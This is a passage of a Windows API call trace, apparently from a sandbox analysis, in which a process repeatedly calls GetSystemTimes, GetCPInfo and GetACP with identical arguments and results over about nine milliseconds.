lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.159] GetACP () returned 0x4e4 [0054.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.159] GetACP () returned 0x4e4 [0054.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.159] GetACP () returned 0x4e4 [0054.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.159] GetACP () returned 0x4e4 [0054.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.159] GetACP () returned 0x4e4 [0054.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.159] GetACP () returned 0x4e4 [0054.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.159] GetACP () returned 0x4e4 [0054.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.160] GetACP () returned 0x4e4 [0054.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.160] GetACP () returned 0x4e4 [0054.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.160] GetACP () returned 0x4e4 [0054.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.160] GetACP () returned 0x4e4 [0054.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.160] GetACP () returned 0x4e4 [0054.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.160] GetACP () returned 0x4e4 [0054.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.160] GetACP () returned 0x4e4 [0054.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.160] GetACP () returned 0x4e4 [0054.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.160] GetACP () returned 0x4e4 [0054.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.161] GetACP () returned 0x4e4 [0054.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.161] GetACP () returned 0x4e4 [0054.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.161] GetACP () returned 0x4e4 [0054.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.161] GetACP () returned 0x4e4 [0054.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.161] GetACP () returned 0x4e4 [0054.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.161] GetACP () returned 0x4e4 [0054.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.161] GetACP () returned 0x4e4 [0054.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.161] GetACP () returned 0x4e4 [0054.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.162] GetACP () returned 0x4e4 [0054.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.162] GetACP () returned 0x4e4 [0054.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.162] GetACP () returned 0x4e4 [0054.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.162] GetACP () returned 0x4e4 [0054.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.162] GetACP () returned 0x4e4 [0054.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.162] GetACP () returned 0x4e4 [0054.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.162] GetACP () returned 0x4e4 [0054.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.162] GetACP () returned 0x4e4 [0054.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.162] GetACP () returned 0x4e4 [0054.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.163] GetACP () returned 0x4e4 [0054.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.163] GetACP () returned 0x4e4 [0054.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.163] GetACP () returned 0x4e4 [0054.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.163] GetACP () returned 0x4e4 [0054.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.163] GetACP () returned 0x4e4 [0054.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.163] GetACP () returned 0x4e4 [0054.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.163] GetACP () returned 0x4e4 [0054.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.163] GetACP () returned 0x4e4 [0054.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.163] GetACP () returned 0x4e4 [0054.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.164] GetACP () returned 0x4e4 [0054.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.164] GetACP () returned 0x4e4 [0054.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.164] GetACP () returned 0x4e4 [0054.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.164] GetACP () returned 0x4e4 [0054.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.164] GetACP () returned 0x4e4 [0054.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.164] GetACP () returned 0x4e4 [0054.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.164] GetACP () returned 0x4e4 [0054.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.164] GetACP () returned 0x4e4 [0054.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.164] GetACP () returned 0x4e4 [0054.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.165] GetACP () returned 0x4e4 [0054.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.165] GetACP () returned 0x4e4 [0054.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.165] GetACP () returned 0x4e4 [0054.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.165] GetACP () returned 0x4e4 [0054.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.165] GetACP () returned 0x4e4 [0054.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.165] GetACP () returned 0x4e4 [0054.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.165] GetACP () returned 0x4e4 [0054.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.165] GetACP () returned 0x4e4 [0054.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.166] GetACP () returned 0x4e4 [0054.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.166] GetACP () returned 0x4e4 [0054.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.166] GetACP () returned 0x4e4 [0054.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.166] GetACP () returned 0x4e4 [0054.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.166] GetACP () returned 0x4e4 [0054.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.166] GetACP () returned 0x4e4 [0054.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.166] GetACP () returned 0x4e4 [0054.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.166] GetACP () returned 0x4e4 [0054.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.166] GetACP () returned 0x4e4 [0054.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.167] GetACP () returned 0x4e4 [0054.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.167] GetACP () returned 0x4e4 [0054.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.167] GetACP () returned 0x4e4 [0054.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.167] GetACP () returned 0x4e4 [0054.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.167] GetACP () returned 0x4e4 [0054.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.167] GetACP () returned 0x4e4 [0054.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.167] GetACP () returned 0x4e4 [0054.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.167] GetACP () returned 0x4e4 [0054.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.168] 